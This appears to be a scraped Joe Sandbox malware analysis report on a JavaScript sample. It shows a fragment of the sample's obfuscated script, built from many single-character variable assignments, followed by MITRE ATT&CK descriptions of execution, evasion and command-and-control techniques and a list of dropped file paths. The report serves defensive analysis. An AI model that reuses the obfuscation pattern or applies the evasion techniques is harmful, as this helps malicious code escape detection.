1349	pklkcygdg = "O";
1350	pklkcygdg = "D";
1351	pklkcygdg = "t";
1352	imyeaxv = "B";
1353	imyeaxv = "T";
1354	imyeaxv = "q";
1355	dgqzpoey = "B";
1356	dgqzpoey = "c";
1357	dgqzpoey = "B";
1358	dgqzpoey = "r";
1359	dgqzpoey = "i";
1360	dgqzpoey = "J";
1361	dgqzpoey = "k";
1362	dgqzpoey = "z";
1363	dgqzpoey = "B";
1364	dgqzpoey = "a";
1365	dgqzpoey = "L";
1366	dgqzpoey = "n";
1367	dgqzpoey = "b";
1368	dgqzpoey = "R";
1369	dgqzpoey = "G";
1370	dgqzpoey = "Q";
1371	dgqzpoey = "m";
1372	dgqzpoey = "E";
1373	dgqzpoey = "G";
1374	dgqzpoey = "X";
1375	dgqzpoey = "V";
1376	dgqzpoey = "t";
1377	dgqzpoey = "c";
1378	dgqzpoey = "B";
1379	dgqzpoey = "T";
1380	dgqzpoey = "M";
1381	dgqzpoey = "q";
1382	dgqzpoey = "p";
1383	dgqzpoey = "G";
1384	dgqzpoey = "a";
1385	dgqzpoey = "I";
1386	dgqzpoey = "f";
1387	dgqzpoey = "Y";
1388	dgqzpoey = "c";
1389	dgqzpoey = "q";
1390	dgqzpoey = "R";
1391	dgqzpoey = "l";
1392	dgqzpoey = "j";
1393	dgqzpoey = "L";
1394	dgqzpoey = "@";
1395	qaufvac = "R";
1396	qaufvac = "Q";
1397	qaufvac = "o";
1398	qaufvac = "H";
1399	qaufvac = "l";
1400	qaufvac = "R";
1401	qaufvac = "J";
1402	qaufvac = "y";
1403	qaufvac = "J";
1404	qaufvac = "h";
1405	qaufvac = "L";
1406	qaufvac = "K";
1407	qaufvac = "V";
1408	qaufvac = "o";
1409	qaufvac = "d";
1410	qaufvac = "P";
1411	qaufvac = "W";
1412	qaufvac = "H";
1413	qaufvac = "Z";
1414	qaufvac = "a";
1415	qaufvac = "k";
1416	qaufvac = "q";
1417	qaufvac = "t";
1418	qaufvac = "T";
1419	qaufvac = "h";
1420	qaufvac = "m";
1421	qaufvac = "X";
1422	qaufvac = "p";
1423	qaufvac = "z";
1424	qaufvac = "c";
1425	qaufvac = "N";
1426	qaufvac = "s";
1427	qaufvac = "e";
1428	vlyoz = "G";
1429	vlyoz = "j";
1430	vlyoz = "T";
1431	vlyoz = "M";
1432	vlyoz = "O";
1433	vlyoz = "c";
1434	vlyoz = "f";
1435	vlyoz = "Y";
1436	vlyoz = "U";
1437	vlyoz = "f";
1438	vlyoz = "S";
1439	vlyoz = "F";
1440	vlyoz = "x";
1441	vlyoz = "Z";
1442	vlyoz = "c";
1443	vlyoz = "O";
1444	vlyoz = "O";
1445	vlyoz = "N";
1446	vlyoz = "L";
1447	vlyoz = "h";
1448	vlyoz = "D";
1449	vlyoz = "L";
1450	vlyoz = "h";
1451	vlyoz = "Y";
1452	vlyoz = "G";
1453	vlyoz = "K";
1454	vlyoz = "v";
1455	vlyoz = "I";
1456	vlyoz = "Q";
1457	vlyoz = "U";
1458	jcfko = "p";
1459	jcfko = "Z";
1460	jcfko = "e";
1461	jcfko = "n";
1462	jcfko = "w";
1463	jcfko = "k";
1464	jcfko = "l";
1465	jcfko = "p";
1466	jcfko = "y";
1467	jcfko = "C";
1468	jcfko = "u";
1469	hlrroen = "T";
1470	hlrroen = "w";
1471	hlrroen = "G";
1472	hlrroen = "B";
1473	hlrroen = "i";
1474	hlrroen = "D";
1475	hlrroen = "X";
1476	hlrroen = "G";
1477	hlrroen = "i";
1478	hlrroen = "U";
1479	hlrroen = "Y";
1480	hlrroen = "m";
1481	hlrroen = "D";
1482	hlrroen = "c";
1483	hlrroen = "r";
1484	hlrroen = "x";
1485	hlrroen = "P";
1486	hlrroen = "I";
1487	hlrroen = "B";
1488	hlrroen = "H";
1489	hlrroen = "_";
1490	wswfwr = "k";
1491	wswfwr = "l";
1492	wswfwr = "y";
1493	wswfwr = "m";
1494	wswfwr = "o";
1495	wswfwr = "q";
1496	wswfwr = "n";
1497	wswfwr = "m";
1498	wswfwr = "v";
1499	wswfwr = "C";
1500	wswfwr = "I";
1501	wswfwr = "H";
1502	wswfwr = "E";
1503	wswfwr = "J";
1504	wswfwr = "S";
1505	wswfwr = "z";
1506	wswfwr = "b";
1507	wswfwr = "p";
1508	wswfwr = "Q";
1509	wswfwr = "A";
1510	wswfwr = "o";
1511	wswfwr = "G";
1512	wswfwr = "t";
1513	wswfwr = "V";
1514	wswfwr = "E";
1515	wswfwr = "n";
1516	wswfwr = "r";
1517	wswfwr = "o";
1518	wswfwr = "c";
1519	wswfwr = "M";
1520	wswfwr = "e";
1521	wswfwr = "e";
1522	wswfwr = "F";
1523	wswfwr = "w";
1524	wswfwr = "m";
1525	wswfwr = "R";
1526	wswfwr = "Y";
1527	wswfwr = "f";
1528	wswfwr = "H";
1529	wswfwr = "r";
1530	wswfwr = "F";
1531	wswfwr = "o";
1532	npliz = "w";
1533	npliz = "S";
1534	npliz = "o";
1535	npliz = "X";
1536	npliz = "y";
1537	npliz = "I";
1538	npliz = "c";
1539	npliz = "S";
1540	npliz = "D";
1541	npliz = "H";
1542	npliz = "K";
1543	npliz = "w";
1544	npliz = "p";
1545	npliz = "h";
1546	npliz = "F";
1547	npliz = "W";
1548	npliz = "V";
1549	npliz = "l";
1550	npliz = "H";
1551	npliz = "7";
1552	nfrawxpy = "d";
1553	nfrawxpy = "q";
1554	nfrawxpy = "D";
1555	nfrawxpy = "y";
1556	nfrawxpy = "G";
1557	nfrawxpy = "n";
1558	nfrawxpy = "n";
1559	nfrawxpy = "D";
1560	nfrawxpy = "A";
1561	nfrawxpy = "Q";
1562	nfrawxpy = "T";
1563	nfrawxpy = "M";
1564	nfrawxpy = "Y";
1565	nfrawxpy = "a";
1566	binlz ( );	binlz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 190731319210776809.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2989d118-c581-4c68-95a1-8ce57a4ed6f1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF49dd8b.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a251fe3a-1ef3-448c-acff-baafcfef9c30.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
190731319210776809.js